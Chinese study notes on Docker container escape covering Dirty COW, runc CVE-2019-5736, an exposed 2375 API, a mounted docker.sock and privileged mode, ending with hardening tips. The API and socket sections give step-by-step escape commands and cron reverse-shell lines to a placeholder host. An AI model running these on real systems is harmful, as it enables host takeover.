对网上容器安全特别是Docker安全做一些总结。主要是学习容器逃逸这一方向。
内核漏洞:Dirty COW漏洞逃逸
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。
容器服务缺陷:CVE-2019-5736漏洞逃逸
1、漏洞原理:
Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
(Go脚本)[https://github.com/Frichetten/CVE-2019-5736-PoC]
配置不当引发的docker逃逸
docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。
通过命令dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
即可在公网访问docker
- 漏洞利用
- 列出所有容器,得到id字段
http://x.x.x.x:2375/containers/json
- 创建一个exec
1
2
3
4
5
6
7
8
9
10
11
12
13POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/etc/passwd"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}```
- 列出所有容器,得到id字段
- 使用burp模拟post请求发包,得到返回的id参数
- 启动exec,成功执行系统命令,读取到passwd文件
/exec/ /start HTTP/1.1 1
2
3
4
5
6
7
8Host: <docker_host>:PORT
Content-Type: application/json
{
"Detach": false,
"Tty": false
} - 在容器内部安装Docker作为client
- 查看宿主机docker镜像信息
docker -H tcp://x.x.x.x:2375 images
- 启动一个容器并将宿主机根目录挂在到容器的user目录
docker -H tcp://x.x.x.x:2375 run -it -v /:/user container_id /bin/bash
- 写计划任务反弹shell
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8877 0>&1' >> /user/var/spool/cron/root
- 获取宿主机shell
docker.sock挂载到容器内部
简介
Docker采用C/S架构(docker为client,docker daemon为server)
宿主机与docker通信方式有以下三种:
- unix:///var/run/docker.sock
- tcp://host:port
- fd://socketfd
默认通信方式为docker.sock,需要挂载/var/run/docker.sock文件
注:能够访问docker socket或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务可以访问整个主机系统。
漏洞利用
- 运行一个挂载/var/run/的容器
docker run -it -v /var/run/:/host/var/run/container_id /bin/bash
- 寻找下挂载的sock文件
find / -name docker.sock
- 在容器内安装Docker作为client
apt-get install docker
- 查看宿主机docker信息
docker -H unix:///host/var/run/docker.socker info
- 运行一个新容器并挂载宿主机根路径
docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
- 在新容器/user路径下完成对宿主机资源的访问
- 写入计划任务文件,反弹shell
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /user/var/spool/cron/root
- 成功接收到宿主机反弹的shell
nc -lvp 9988
特权模式
允许容器内的root拥有外部物理机root权限。
使用特权模式启动容器,可以获取大量文件访问权限,执行docker run --privileged
时,docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
如何保证生产环境中容器的安全?
- 对docker宿主机进行安全加固
- 限制容器之间的网络流量
--icc=false
- 配置docker deamon守护程序的TSL身份验证(Docker程序不能暴露在公网端口)
- 启动用户命名空间支持
- 限制容器的内存使用量(创建时添加参数
-m
) - 适当设置容器CPU优先级(防止资源耗尽)